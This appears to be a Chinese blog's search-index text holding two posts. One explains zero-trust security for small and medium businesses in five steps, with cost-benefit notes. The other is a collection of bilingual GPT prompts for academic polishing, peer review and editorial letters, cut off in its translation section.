网络攻击对SMBs的威胁及潜在后果\n中小企业在经济中占据重要地位，但其网络安全防护能力相对薄弱，成为黑客攻击的主要目标。网络攻击可能导致以下严重后果：\n数据泄露：客户信息、商业机密等敏感数据的泄露，不仅会引发法律诉讼，还会损害客户信任。\n财务损失：勒索软件攻击可能导致企业需支付高额赎金，或因业务中断造成直接经济损失。\n声誉受损：频繁的安全事件会严重影响企业的市场声誉，影响客户和合作伙伴的信任。\n常见的攻击类型\n勒索软件：通过加密企业关键数据，迫使企业支付赎金以恢复访问权限。\n身份盗用：黑客利用被盗的身份信息，未经授权地访问企业资源。\n数据外泄：通过各种手段窃取企业内部敏感信息，进行非法交易或发布。\nSMBs在网络安全中面临的独特挑战\n资源限制：相比大型企业，SMBs在网络安全预算和人力资源上通常更加有限，难以部署全面的安全防护措施。\n缺乏技术专长：中小企业往往缺乏专业的IT和网络安全团队，难以应对复杂的安全威胁。\n供应链风险：依赖第三方供应商和合作伙伴，增加了供应链中的安全漏洞和攻击面。\n3. 零信任的核心理念 零信任的基本原则\n永不信任，始终验证：无论内部还是外部的任何用户和设备，均需经过严格的身份验证和授权，确保其访问权限的合法性。\n最小权限分配与持续监控：用户和设备仅被授予完成其任务所需的最低权限，并对其活动进行实时监控，及时发现和应对异常行为。\n零信任与传统安全模式的对比\n传统的安全模式通常依赖于“堡垒式”防护，重点在于构建一个坚固的外围防线，防止外部威胁进入。然而，这种模式在面对内部威胁和复杂的攻击手段时，显得捉襟见肘。零信任则摒弃了传统的边界防护理念，转而通过细粒度的访问控制和持续监控，实现对所有访问请求的动态验证，从根本上提升安全性。\n零信任如何提升网络弹性并减少数据泄露风险\n通过实施零信任策略，SMBs能够：\n提升网络弹性：即使部分系统被攻破，严格的权限控制和实时监控可以限制攻击的扩散，确保业务的持续运行。\n减少数据泄露风险：细粒度的访问控制和持续监控能够及时发现并阻断异常访问，防止敏感数据的外泄。\n4. 零信任实施的五步策略 步骤1：资产清点与评估 首先，企业需要全面清点和评估其所有IT资产，包括硬件设备、软件应用、数据存储和网络资源。确定哪些资产是业务的关键组成部分，制定资产优先级排序，识别需要优先保护的关键业务系统（DAAS）。\n关键资产识别：通过资产清单，明确哪些系统和数据对业务运作至关重要。\n优先级排序：根据资产的重要性和敏感性，确定保护的优先顺序，确保有限的资源首先用于保护最重要的资产。\n步骤2：理解技术对业务的驱动作用 企业需要深入了解其技术架构与业务流程之间的关系，确保安全策略能够支持并促进业务目标的实现。\n技术依赖映射：绘制技术依赖图，明确各系统和应用之间的关联，识别潜在的安全薄弱点。\n安全与业务对齐：制定安全策略时，充分考虑业务需求，确保安全措施不会阻碍业务的发展。\n步骤3：设计零信任架构 在理解业务需求的基础上，企业需设计适合自身的零信任架构，定义具体的安全策略和控制点。\n安全策略定义：明确访问控制、身份验证、数据加密等具体安全措施。\n技术选择：选择适合的零信任技术，如多因素认证（MFA）、微分段（Micro-segmentation）等，以支持架构的实施。\n动态适应：设计灵活的架构，能够随着业务的发展和威胁的变化进行调整和扩展。\n步骤4：实施零信任设计 零信任的实施应循序渐进，避免一次性投入过多资源，导致实施难度和成本过高。\n小范围起步：选择部分关键系统和部门，先行试点零信任策略，积累经验和教训。\n逐步推广：根据试点结果，逐步扩展到整个企业，确保每一步都稳步推进，避免系统性风险。\n利用现有资源：充分利用现有的IT基础设施和安全工具，降低实施成本，提高效率。\n步骤5：持续监控与优化 零信任并非一次性项目，而是一个持续优化的过程，企业需要不断监控和调整安全策略，确保其始终有效应对新兴威胁。\n关键绩效指标（KPIs）设定：设定具体的指标，如入侵检测率、响应时间等，用于评估安全效果。\n动态调整策略：根据监控数据和安全事件，及时调整和优化安全策略，提升防护能力。\n5. 与外部服务提供商合作 对于资源有限的SMBs来说，与外部服务提供商合作，是实施零信任策略的重要途径。\n有效利用托管服务提供商（MSPs）和安全服务提供商（MSSPs）\n托管服务提供商（MSPs）和安全服务提供商（MSSPs）能够为SMBs提供专业的IT和安全管理服务，帮助企业在无需大量投入内部资源的情况下，提升网络安全水平。\n托管服务提供商（MSPs）：负责企业的日常IT管理和维护，包括网络管理、数据备份等。\n安全服务提供商（MSSPs）：专注于提供专业的网络安全服务，如威胁检测、事件响应、安全评估等。\n供应商选择的关键标准\n选择合适的服务提供商，是确保零信任策略成功实施的关键。企业应考虑以下标准：\n经验：服务提供商在零信任实施和中小企业网络安全方面的经验和成功案例。\n透明度：服务提供商应提供透明的服务流程和费用结构，确保企业能够清晰了解其服务内容和效果。\n认证：选择拥有相关安全认证（如ISO 27001、SOC 2等）的服务提供商，确保其安全管理水平符合行业标准。\n在供应链中实施零信任原则\n中小企业不仅需要关注自身的网络安全，还需确保其供应链中的合作伙伴和供应商也遵循零信任原则，防范潜在的供应链攻击。\n供应商评估：对供应链中的各个环节进行安全评估，确保其符合零信任标准。\n合同条款：在合同中明确安全责任和标准，确保供应商在提供服务时遵循零信任策略。\n持续监控：对供应商的安全状况进行持续监控，及时发现并应对潜在的安全风险。\n6. 零信任的成本效益分析 零信任实施的长期效益\n虽然零信任的初期实施可能需要一定的投入，但其长期效益显著，能够为中小企业带来以下好处：\n减少网络攻击的损失：通过严格的访问控制和实时监控，能够有效防范和应对网络攻击，减少因攻击导致的财务损失和业务中断。\n提升客户信任与业务韧性：安全可靠的网络环境能够提升客户对企业的信任，增强企业在市场中的竞争力。同时，提升的安全能力使企业具备更强的业务韧性，能够更好地应对突发事件。\n成本与收益对比分析的案例示例\n以一家中小型电子商务企业为例，该企业在实施零信任策略后，通过以下方式实现了成本效益的平衡：\n成本方面：初期投资主要用于购买零信任相关的安全工具和培训员工，约占年度IT预算的15%。\n收益方面：在实施零信任策略的第一年，企业成功阻止了多起勒索软件攻击，避免了潜在的数十万元赎金支出和数月的业务中断。此外，客户满意度和信任度显著提升，带来了10%的销售增长。\n总体分析：尽管初期投入较高，但通过减少网络攻击损失和提升业务绩效，零信任策略在第二年开始实现投资回报，长期来看具有显著的成本效益。\n7. 结论 零信任不仅是一种技术架构，更是一种全新的安全管理思维方式。对于资源有限的中小企业而言，实施零信任策略能够在有限的资源下显著提升网络安全能力，增强企业的业务韧性和市场竞争力。通过循序渐进的五步策略，结合外部服务提供商的支持，SMBs可以有效应对日益复杂的网络威胁，保障企业的持续发展。\n尽早行动、小步快跑，是SMBs实现零信任的最佳策略。面对不断演变的网络威胁，企业需要主动适应变化，持续优化安全策略，才能在数字化时代立于不败之地。零信任为中小企业提供了一条清晰的网络安全转型之路，帮助其在激烈的市场竞争中保持稳健和安全。\n","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E9%9B%B6%E4%BF%A1%E4%BB%BB/%E9%9B%B6%E4%BF%A1%E4%BB%BB-%E4%B8%AD%E5%B0%8F%E4%BC%81%E4%B8%9A%E7%9A%84%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E8%BD%AC%E5%9E%8B%E4%B9%8B%E8%B7%AF/","summary":"本文针对CSA报告《Zero Trust Guidance for Small and Medium Size Businesses (SMBs)》进行解读。","tags":["技术实践","零信任","标准解读","方法解析"],"title":"零信任-中小企业的网络安全转型之路","unix":1736820000,"year":"2025"},{"date":"2025-01-13","dateISO":"2025-01-13","permalink":"https://bluedog.website/posts/archive/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%97/%E7%A7%91%E7%A0%94%E6%80%BB%E7%BB%93%E7%B3%BB%E5%88%972-gpt%E5%AD%A6%E6%9C%AF%E5%86%99%E4%BD%9C%E6%8F%90%E7%A4%BA%E8%AF%8D%E9%9B%86%E9%94%A6%E6%89%8B%E5%86%8C/","plain":" 一、前言 随着生成式人工智能（如 ChatGPT）的迅速发展，学术写作正变得更加智能和高效。高质量的学术论文不仅能够准确传达研究成果，也会在学术圈内带来更广泛的影响力。借助 GPT 等工具，研究者能够更轻松地完善行文逻辑、丰富语言表达，并在多次迭代中不断打磨出更具说服力和可读性的学术文本。\n本手册的目的是为读者整理一系列常用的提示词（Prompts），帮助在学术写作与审稿过程中更好地与 GPT 协作。通过精心设计和分类的提示词示例，笔者希望为研究者提供一份快捷、实用的参考指南，使其在撰写和润色论文、进行同行评审辅助以及编辑反馈优化等方面都能有效地提升写作效率与质量。\n二、学术写作提示词 2.1 学术写作润色 本章将围绕学术写作中最常见的润色需求，给出详细且专业的提示词（Prompts）。这些提示词覆盖了语法、逻辑、风格、特定期刊要求等多个方面，帮助研究者在不同层面打磨论文。以下所有 Prompt 同时提供中文和英文版本，并尽量在同一段中一次性说明清楚需求，便于 GPT 完整理解并输出高质量结果。\n2.1.1 句法与语法精修 2.1.1.1 复杂句与主被动语态转换 【中文 Prompt】\n“作为一名资深的学术写作与语言润色专家，请协助我优化以下文本中的句子结构：在保证学术严谨度的前提下，减少冗长或不必要的从句，必要时将主动语态与被动语态灵活转换，以使整段文字既保持专业水准，又具有更好的可读性和流畅度。请注意在处理复杂句时，避免过度简化关键学术内容，同时确保逻辑清晰、表意准确。”\n【English Prompt】\n“As an experienced academic writing and language editing specialist, please help me improve the sentence structure in the following text. While maintaining scholarly rigor, reduce overly long or unnecessary subordinate clauses, and appropriately switch between active and passive voice for better readability and coherence. When handling complex sentences, avoid oversimplifying critical academic content, ensuring logical clarity and precise meaning.”\n2.1.1.2 主谓一致与时态一致 【中文 Prompt】\n“作为一名具备高级语法审校能力的学术写作顾问，请在审阅下列文本时重点关注主谓一致和时态使用是否正确。若发现引言与结论应使用一般现在时、方法与结果应使用一般过去时的场合，请帮助进行相应调整，并对不符合主谓一致原则的句子进行改写。请在保持学术语气的同时，保证行文自然流畅。”\n【English Prompt】\n“As an advanced grammar reviewer specializing in academic writing, please focus on ensuring subject-verb agreement and correct tense usage in the following text. Where necessary, adjust the tense to present simple for the introduction and conclusion, and past tense for methods and results. Also revise any sentences that do not follow proper subject-verb agreement. Maintain a formal academic tone while ensuring the text remains clear and fluent.”\n2.1.1.3 标点符号与拼写检查 【中文 Prompt】\n“作为一名资深语言编辑，请帮助我检查下列学术文本的标点符号和拼写是否规范。请注意逗号、分号、破折号以及引号的正确用法，并确保不存在错别字或专业名词拼写错误。若有需要进一步澄清的术语或拼写用法，也请提出改进建议并加以说明。”\n【English Prompt】\n“As a seasoned language editor, please review the punctuation and spelling of the following academic text. Pay special attention to the correct usage of commas, semicolons, em dashes, and quotation marks, and verify that there are no misspellings or incorrect professional terms. If there are ambiguous terms or spelling conventions that need clarification, please provide improvement suggestions and explanations.”\n2.1.2 逻辑连贯性与论证结构 2.1.2.1 段落衔接与过渡 【中文 Prompt】\n“作为一名专门从事论文结构优化的学术顾问，请帮助我在下列文本各段之间添加合适的过渡语句与连接词，确保每段话题紧密相连；同时请检查段落主题句与总结句是否充分体现核心观点。若发现个别段落与前后文脱节或有跳跃逻辑，请提出相应修改建议，以改善整体连贯性。”\n【English Prompt】\n“As a consultant specializing in paper structure optimization, please help me insert appropriate transitional phrases and linking words between the paragraphs of the following text, ensuring a cohesive flow of ideas. Also check whether each paragraph’s topic sentence and concluding sentence clearly convey the main points. If you find any paragraphs disconnected from the surrounding context or containing logical leaps, propose revisions to enhance overall coherence.”\n2.1.2.2 论点的展开与支持 【中文 Prompt】\n“作为一位资深学术写作教练，请审核以下文本中每段提出的论点是否得到充分的数据或文献支持。若发现论点缺乏引用或事例说明，请指出具体位置并建议补充必要的参考文献或实例；同时帮助我优化说明性语句，以便增强说服力和可信度。”\n【English Prompt】\n“As a seasoned academic writing coach, please review whether each argument in the following text is sufficiently supported by data or literature. If you notice any arguments lacking citations or examples, highlight the specific locations and recommend adding the necessary references or illustrations. Also help me refine explanatory sentences to strengthen persuasiveness and credibility.”\n2.1.2.3 反驳与对比论证 【中文 Prompt】\n“作为一名具有丰富论文审稿经验的专家，请检查以下文本中是否适当地对不同观点进行阐述、比较或反驳。若论文只呈现单一立场，缺乏对立或补充性观点的讨论，请建议在何处添加对比论证或反驳段落；同时请插入合理的过渡短语，以确保正反观点在行文中获得平衡、有效地强化论文整体论证。”\n【English Prompt】\n“As an expert with extensive manuscript review experience, please verify whether the following text sufficiently presents, compares, or refutes different perspectives. If it solely advocates a single standpoint without discussing counterarguments or supplementary viewpoints, recommend where to add contrasting or rebuttal paragraphs. Also insert appropriate transitional phrases to ensure a balanced treatment of opposing views, effectively strengthening the overall argumentation of the paper.”\n2.1.3 学术风格与专业语气 2.1.3.1 避免口语化表达 【中文 Prompt】\n“作为一名学术写作语言风格导师，请审阅以下文本，识别并替换可能显得口语化或随意化的短语和词汇，用更正式、专业且学术风格的语言加以改写。请提供必要的替换建议，使文本既保持学术严谨，又具备流畅易读的特点。”\n【English Prompt】\n“As a language style mentor in academic writing, please review the following text to identify and replace any colloquial or casual phrases or terms with more formal and scholarly equivalents. Provide appropriate substitution suggestions to ensure the text retains academic rigor while remaining clear and readable.”\n2.1.3.2 专业术语与简练用词 【中文 Prompt】\n“作为一位对专业术语与精准表述十分敏感的高级学术编辑，请帮我审查以下文本中的专业术语使用是否恰当，并检查是否有频率过高、累赘或不必要的复杂词汇。若发现可用更简练且同样专业的词来替换，请给出具体建议，并保持文意准确一致。”\n【English Prompt】\n“As a senior academic editor with a keen eye for professional terminology and concise expression, please review the following text to determine whether specialized terms are used appropriately and whether any words are overly frequent, redundant, or unnecessarily complex. If simpler yet equally professional wording can be used, provide specific recommendations while preserving accuracy and consistency.”\n2.1.3.3 引用风格与一致性 【中文 Prompt】\n“作为一名熟悉多种学术引用规范（如 APA、MLA、Chicago）的编辑，请帮助我检查以下文本在引文格式、尾注或脚注方面是否符合对应的引用标准。请确保同一篇文献在全篇使用统一的格式，并对常见失误（例如作者姓名拼写、年份不一致）进行校正。若发现引用信息缺失或不完整，也请提出建议。”\n【English Prompt】\n“As an editor well-versed in various academic citation styles (e.g., APA, MLA, Chicago), please review the referencing format, endnotes, or footnotes in the following text to confirm adherence to the chosen style guidelines. Ensure that each cited source is consistently formatted, and correct common errors such as misspellings of authors’ names or inconsistent publication years. If you notice missing or incomplete citation details, please provide recommendations.”\n2.1.4 段落与结构优化 2.1.4.1 段落拆分与合并 【中文 Prompt】\n“作为一名注重文本逻辑与可读性的学术排版专家，请帮助我审阅以下段落结构，判断哪些段落需要拆分以避免信息过载，哪些段落可合并以减少重复与冗长。请确保在段落拆分或合并后仍能维持主题连贯，并保留学术论述的完整性。”\n【English Prompt】\n“As an academic layout specialist focused on logical flow and readability, please evaluate the paragraph structure in the following text to determine which paragraphs should be split to avoid information overload and which should be merged to reduce redundancy and length. Ensure that the text remains coherent and preserves the integrity of the academic argument after these revisions.”\n2.1.4.2 章节顺序与层次 【中文 Prompt】\n“作为一位熟悉学术论文整体结构与章节逻辑的顾问，请检查下列文本中各章节（如引言、方法、结果、讨论）的顺序与层次是否合乎通常学术规范。若发现有小节不紧扣中心主题或出现跳跃式安排，请建议合理的调整方案并说明调整依据，以确保研究内容具备清晰连贯的论证脉络。”\n【English Prompt】\n“As a consultant familiar with the overall structure and chapter logic of academic papers, please evaluate whether the arrangement and hierarchy of sections (e.g., Introduction, Methods, Results, Discussion) in the following text conform to common academic standards. If any subsections deviate from the central theme or appear disjointed, recommend a suitable reorganization strategy and explain the rationale behind it to maintain a coherent flow of arguments.”\n2.1.4.3 提高可读性的排版建议 【中文 Prompt】\n“作为一名专业排版与文档设计师，请根据以下文本内容，给出能提高阅读体验的具体建议，例如是否使用项目符号、编号列表、表格或图示来展示复杂信息。若有必要，请简要说明如何利用标题层次、字体或行距设置来提升文章整体可读性和视觉效果，但仍需保持学术文档的严谨性。”\n【English Prompt】\n“As a professional layout and document design specialist, please suggest specific improvements to the following text that will enhance the reading experience, such as employing bullet points, numbered lists, tables, or figures to present complex information. Where necessary, briefly explain how to use heading levels, font choices, or line spacing to improve overall readability and visual appeal without compromising the academic rigor of the document.”\n2.1.5 修辞与写作风格打磨 2.1.5.1 同义词替换与词汇多样性 【中文 Prompt】\n“作为一位具有丰富词汇库与写作经验的学术润色专家，请帮助我在以下文本中找到重复使用的关键词或短语，并推荐恰当的同义词或近义短语进行替换，以提升词汇多样性。请注意在替换时保持语境和学科术语的精确性，避免因用词不当造成歧义。”\n【English Prompt】\n“As an academic editing specialist with an extensive vocabulary and writing experience, please identify frequently repeated keywords or phrases in the following text and recommend suitable synonyms or closely related phrases to enhance lexical diversity. While replacing, ensure that the contextual meaning and disciplinary terminology remain accurate, avoiding ambiguities caused by inappropriate word choices.”\n2.1.5.2 强调与弱化 【中文 Prompt】\n“作为一位深谙学术语气调整的写作教练，请在审阅以下文本时，辨别出需要进一步强调或弱化的语句。若某些论点或结论需要更强烈的语气来突出其重要性，请提出建议；若有些表述需要放缓或谨慎处理（如不确定性、局限性部分），也请指出合适的词汇或表达方式，以准确传达作者对该问题的把握程度。”\n【English Prompt】\n“As a writing coach adept at adjusting academic tone, please review the following text to identify sentences that should be further emphasized or downplayed. If certain arguments or conclusions need a stronger expression of importance, propose suitable modifications; likewise, if some statements require more cautious or nuanced language (e.g., when addressing uncertainties or limitations), recommend appropriate words or expressions to accurately convey the author’s degree of certainty.”\n2.1.5.3 语言的简洁性 【中文 Prompt】\n“作为一位追求高效表达的学术写作顾问，请帮助我在以下文本中识别并精简赘余词句，确保每个句子都紧扣核心主题，避免不必要的重复或华而不实的修饰。请在保证原意不受损害的前提下，对长句进行适度拆分或合并，并提供改写示例，以提升整体的明晰度与可读性。”\n【English Prompt】\n“As an academic writing consultant focused on concise expression, please help me identify and eliminate superfluous phrases in the following text, ensuring each sentence addresses the core topic without unnecessary repetition or overly ornate language. While preserving the original meaning, split or merge long sentences where needed, providing rewritten examples that improve clarity and readability.”\n2.1.6 特定学科或期刊要求 2.1.6.1 医学、社会科学、工程等学科写作差异 【中文 Prompt】\n“作为一位熟悉多种学科写作风格的学术编辑，请针对以下文本所在的研究领域，指出其在写作上可能需要符合的特定规范（例如医学类注重严谨的研究设计表述，社会科学类强调理论框架说明，工程类偏重技术细节等）。请帮我根据该领域的通用标准提出具体的写作风格调整建议，以更契合该学科的惯用表达和审稿要求。”\n【English Prompt】\n“As an academic editor familiar with various disciplinary writing styles, please identify the specific conventions that the following text should adhere to based on its field of study (e.g., rigorous methodological descriptions in medical papers, a well-defined theoretical framework in social sciences, or a focus on technical details in engineering). Offer concrete suggestions to adjust the writing style according to common practices and review criteria in that domain.”\n2.1.6.2 期刊偏好与格式 【中文 Prompt】\n“作为一位了解不同期刊要求的论文润色顾问，请在审阅以下文本时，考量目标期刊在字数限制、主题关注点与引用风格等方面的偏好。若发现文本长度、行文方式或参考文献格式与该期刊要求不匹配，请给出针对性的修改方案，包括精简段落、调整学术用语或转换引文格式等。”\n【English Prompt】\n“As a paper editing consultant knowledgeable about various journal requirements, please review the following text with regard to the target journal’s word count constraints, thematic focus, and citation style preferences. If the text’s length, style, or references do not align with the journal guidelines, provide specific recommendations, such as condensing paragraphs, modifying academic language, or switching to a different citation format.”\n2.1.6.3 多语言环境 【中文 Prompt】\n“作为一名精通多语言学术写作的专家，请帮助我检查以下文本在中英文之间（或其他语言组合）是否存在术语或表述的不一致问题。若某些专有名词或概念需要在译文中精确对应，请保持统一并标注出处；若不同语言的写作风格存在显著差异，请提出相应的调整建议，以确保学术内容在多语言环境中呈现的准确与连贯。”\n【English Prompt】\n“As an expert proficient in multilingual academic writing, please help me verify whether there are any inconsistencies in terms or expressions between English and Chinese (or other language pairs) in the following text. For any specialized terminology or concepts that require precise equivalences in translation, ensure consistency and provide references. If significant stylistic differences exist between the languages, propose adjustments to maintain accuracy and coherence of the academic content across multilingual contexts.”\n2.2 同行评审辅助 在学术研究的同行评审流程中，利用 GPT 可以模拟资深专家的视角，对论文的核心内容、研究设计、方法论以及数据分析等部分进行审查和反馈。以下提示词将帮助您快速生成高质量的同行评审意见，既能凸显专业性，也可为作者提供切实可行的改进建议。\n2.2.1 模拟资深专家审稿 【中文 Prompt】\n“假设您是一位在 [研究领域] 拥有 20 年学术经验的资深专家学者，请基于我对这篇论文的简要概述，写出一份详细的同行评审报告。报告应包括：1）论文的研究背景与核心贡献；2）研究方法的合理性与科学性评价；3）数据分析或结果是否可信及其理由；4）论文目前存在的不足或局限性，并提出可行的改进建议。请保持学术专业且客观的语气。”\n【English Prompt】\n“Assume you are a seasoned scholar with 20 years of experience in the field of [Research Area]. Based on my brief summary of this paper, please draft a detailed peer review report that covers: (1) the research background and the paper’s main contributions; (2) an evaluation of the methodological rigor and scientific validity; (3) the credibility of the data analysis or results and the reasons behind your assessment; and (4) the paper’s limitations or weaknesses, along with practical suggestions for improvement. Maintain a professional and objective tone throughout.”\n2.2.2 论文结构与论点剖析 【中文 Prompt】\n“作为一名对论文逻辑结构和论点展开有深入见解的专家，请对以下论文进行审阅并着重评论：1）论文的整体结构是否符合常见的学术规范；2）论点的层次是否清晰、递进有序；3）引言、文献综述、方法、结果、讨论等部分之间的衔接是否紧密。若有结构性的缺陷（如缺少关键章节或缺乏过渡段落），请具体指出并给出改进策略，以确保论文论证链条的完整。”\n【English Prompt】\n“As an expert with deep insights into the logical structure and argument development of academic papers, please review the following manuscript and focus on: (1) whether its overall structure aligns with common scholarly standards; (2) the clarity and logical progression of the arguments; and (3) the coherence among the Introduction, Literature Review, Methods, Results, and Discussion sections. If any structural flaws (e.g., missing key sections or lacking transitional paragraphs) are identified, please specify them and propose enhancements to ensure a complete chain of reasoning.”\n2.2.3 提升研究设计与数据分析 【中文 Prompt】\n“作为一名在研究设计与数据分析方面经验丰富的同行评审专家，请帮助我评估以下论文：1）研究问题与假设是否合理且具有创新性；2）研究设计（包括实验设计、问卷调查或数据采集方式等）是否能够有效验证该假设；3）数据分析方法是否恰当，统计结果是否具有足够的信度和效度。若发现不完善之处，请提出改进或替代方案，并简要说明原因。”\n【English Prompt】\n“As a peer reviewer with extensive experience in research design and data analysis, please evaluate the following paper by considering: (1) whether the research question and hypotheses are both reasonable and innovative; (2) whether the study design (including experimental setup, survey method, or data collection strategy) sufficiently addresses these hypotheses; and (3) whether the data analysis approach is appropriate and the statistical results are reliable and valid. If any shortcomings are identified, propose improvements or alternatives, providing a brief rationale.”\n2.2.4 全面审稿意见汇总 【中文 Prompt】\n“基于对论文各方面（研究背景、文献综述、方法、结果、讨论、参考文献）的综合审阅，请撰写一份全面的同行评审意见，指出论文的亮点与贡献之处，同时阐明需要进一步完善或修改的主要问题，并按重要程度排列。建议在每个问题后附上可能的解决方案或思路，以便作者能高效地对论文进行修订。”\n【English Prompt】\n“Drawing on a comprehensive review of all aspects of the manuscript (research background, literature review, methodology, results, discussion, and references), please compose a thorough peer review that highlights the paper’s strengths and contributions, while also addressing the primary issues needing further refinement or revision in order of importance. For each issue, include potential solutions or suggestions so that the authors can effectively improve their work.”\n2.3 编辑反馈优化 在学术期刊编辑或审稿人角色下，撰写反馈信或审稿意见时，需要兼具专业性、礼貌性和指导性。以下提示词将帮助您生成更具条理性、建设性和可读性的反馈内容，为作者或投稿人提供清晰的修改方向。相较于其他环节，编辑反馈往往直接影响作者对论文修订的理解与执行，因此我们在此提供更为详尽的 Prompt，覆盖从初步意见到最终退修或接受等多种情境。\n2.3.1 拒稿信（Rejection Letter） 【中文 Prompt】\n“作为一名负责稿件初筛和终审决策的期刊编辑，请在审阅以下稿件的基础上，起草一封拒稿信。信中需要：1）简要概括稿件的主题和主要结论；2）指出导致拒稿的关键原因，如研究新颖性不足、方法不严谨、数据不充分或结论不够扎实；3）保持尊重与客观的语气，同时给出可行的改进建议，让作者理解如何提升后续的研究或稿件质量。”\n【English Prompt】\n“As a journal editor responsible for initial screening and final decisions, please draft a rejection letter based on the manuscript provided. Your letter should: (1) briefly summarize the paper’s topic and main findings; (2) identify the key reasons for rejection, such as insufficient novelty, methodological flaws, inadequate data, or weak conclusions; and (3) maintain a respectful and objective tone while offering feasible suggestions for improvement, ensuring the authors understand how to enhance their future research or submissions.”\n2.3.2 退修意见（Major/Minor Revision Letter） 【中文 Prompt】\n“作为一名在学术期刊任职多年的高级编辑，请为以下稿件起草一封退修意见书，重点说明需要作者大幅（或小幅）修改的部分。请先肯定论文的优点与潜在贡献，然后分条列出需改进的要点，包括研究设计、数据分析、文献引用、写作风格等具体问题，并提供指导性建议。请保持专业、鼓励的语气，并在结束时说明提交修订稿的相关要求和截止日期（若适用）。”\n【English Prompt】\n“As a senior editor at an academic journal, please draft a major (or minor) revision letter for the following manuscript. Start by acknowledging the paper’s merits and potential contributions, then systematically enumerate the key areas requiring improvement—such as research design, data analysis, literature citations, or writing style—offering guidance on how to address these issues. Maintain a professional, encouraging tone, and conclude by outlining any requirements or deadlines for submitting the revised version, if applicable.”\n2.3.3 接受稿件的修改建议（Acceptance with Revision Notes） 【中文 Prompt】\n“作为一位在同行评审与编辑环节均有丰富经验的资深编辑，请根据以下稿件撰写一封接收通知函。需要在文中说明该论文已达到刊发标准，但仍建议作者在正式发表前进行一些小范围的修订或补充，如补充某些数据分析或修正表述不清的段落。请始终保持正式且积极的语气，鼓励作者在发表前最终确认好所有细节和格式。”\n【English Prompt】\n“As an experienced editor involved in both peer review and editorial processes, please write an acceptance letter for the following manuscript. Indicate that the paper meets the publication criteria but advise the authors to make minor revisions or additions before final publication, such as refining certain data analyses or clarifying ambiguous statements. Maintain a formal yet positive tone, encouraging the authors to finalize all details and formatting prior to publication.”\n2.3.4 审稿意见整合与附加说明 【中文 Prompt】\n“作为一名期刊编辑，需要针对审稿人A、审稿人B、审稿人C给出的不同意见进行整合，并向作者出具一份综合反馈。请在以下文档中：1）总结三位审稿人的主要肯定与质疑点；2）指出作者应优先处理的问题；3）强调编辑部的最终立场或决定，如需要大修/小修、或暂时搁置等；4）在给作者的行文中保持一致的语气和格式，避免作者因为审稿意见不一致而产生混淆。请注意礼貌、客观和建设性。”\n【English Prompt】\n“As a journal editor, you need to consolidate the comments from Reviewer A, Reviewer B, and Reviewer C into a single unified response for the authors. Please do the following in the document: (1) summarize the main points of agreement and contention among the three reviewers; (2) highlight the issues the authors should address first; (3) state the editorial office’s final stance or decision, such as major/minor revisions or a provisional hold; and (4) maintain a consistent tone and format to minimize any confusion arising from divergent reviewer opinions. Remember to stay polite, objective, and constructive.”\n2.3.5 针对作者的建设性引导与鼓励 【中文 Prompt】\n“作为一名致力于帮助作者不断提升论文质量的编辑，请撰写一封具有引导意义的反馈信。在信中除批注问题外，还需要：1）具体说明如何利用期刊的资源（如模板、格式指南等）进行修改；2）鼓励作者在后续研究中加强与其他学科或领域的跨学科合作；3）提示作者可以在论文的附录或补充材料中提供更多数据或图表，以增强论文的整体说服力。请保持积极、友善的编辑语气，让作者对后续修订充满信心。”\n【English Prompt】\n“As an editor committed to helping authors continually improve their manuscripts, please compose a feedback letter that serves as a guiding document. In addition to pointing out issues, the letter should: (1) specify how to utilize journal resources (e.g., templates, formatting guidelines) for revisions; (2) encourage cross-disciplinary collaboration in future research; and (3) suggest the inclusion of additional data or figures in appendices or supplementary materials to strengthen the paper’s overall impact. Maintain a positive, supportive editorial tone that instills confidence in the authors’ revision process.”\n2.3.6 最终决定说明（如：接受、拒绝后重投等） 【中文 Prompt】\n“作为期刊主编，请针对以下稿件撰写一份最终决定说明，包括对作者的致谢、对审稿人投入的肯定，以及对该稿件目前处理状态（如直接接受、拒绝后允许重新投稿、或无限期搁置）的简要解释。若是拒绝后重投的情况，请附上具体的重新提交条件或改进方向；若是直接接受，则可以在文末提示作者如何完善校样或准备封面图/摘要等必要附加材料。”\n【English Prompt】\n“As the editor-in-chief of the journal, please draft a statement detailing the final decision for the following manuscript, including expressions of gratitude to the authors and acknowledgement of the reviewers’ contributions, as well as a brief explanation of the current status (e.g., outright acceptance, rejection with an option to resubmit, or indefinite deferral). If the decision is a ‘reject but resubmit,’ include specific guidelines or directions for resubmission; if the paper is accepted outright, add a reminder at the end for authors to finalize proofs or prepare any required supplementary materials (e.g., cover images, abstracts).”\n三、 其他常见高频提示词 本章将介绍除学术写作润色、同行评审与编辑反馈之外，在学术论文写作流程中经常会用到的其他类型高频提示词，包括多语言翻译、文献总结与引用，以及论文整体结构与组织等方面。通过以下提示词，研究者可以快速生成更准确、规范的学术文本，并进一步优化论文整体质量。\n3.1 学术论文翻译 随着全球化学术交流的日益频繁，多语言环境下的准确沟通显得至关重要。以下提示词可帮助作者或译者在不同语言之间进行高质量的学术翻译，并保持术语一致性、语气严谨及文化适配性。\n3.1.1 术语一致性与专业表达 【中文 Prompt】\n“作为一名熟悉 [研究领域] 专业术语的学术翻译专家，请帮助我对以下文本进行准确的翻译和润色。请确保所有关键术语在整个文本中保持一致，并使用在该领域得到广泛接受的标准化表达方式。如果发现已有译文不够专业或存有歧义，请提供更恰当的替换词或句式，并标明原因。”\n【English Prompt】\n“As an academic translation specialist with expertise in [Research Field] terminology, please assist me in accurately translating and refining the following text. Ensure that all key terms remain consistent throughout, using standardized expressions widely recognized in the field. If any existing translations appear unprofessional or ambiguous, propose more suitable alternatives or phrasing and explain why they are preferable.”\n3.1.2 句子结构与文化背景 【中文 Prompt】\n“作为一位了解多语言文化差异并具备学术写作经验的翻译顾问，请帮助我将以下英文（或其他语言）内容翻译为中文时，注意句子结构和行文习惯的差异。若原文有长句或被动语态过多，请酌情进行分句或改写；同时确保在跨文化背景下，不改变核心学术观点的准确性与完整性。若某些概念在中文语境中需要补充注释，请一并说明。”\n【English Prompt】\n“As a translation consultant versed in cross-cultural differences and academic writing, please help me convert the following English (or other language) content into Chinese, taking into account structural and stylistic nuances. If the source text contains overly long or passive constructions, consider splitting or rephrasing sentences. Make sure the original academic concepts remain accurate and complete in the new cultural context. If some notions require additional clarification in Chinese, please provide footnotes or annotations accordingly.”\n3.1.3 多语种摘要与关键词 【中文 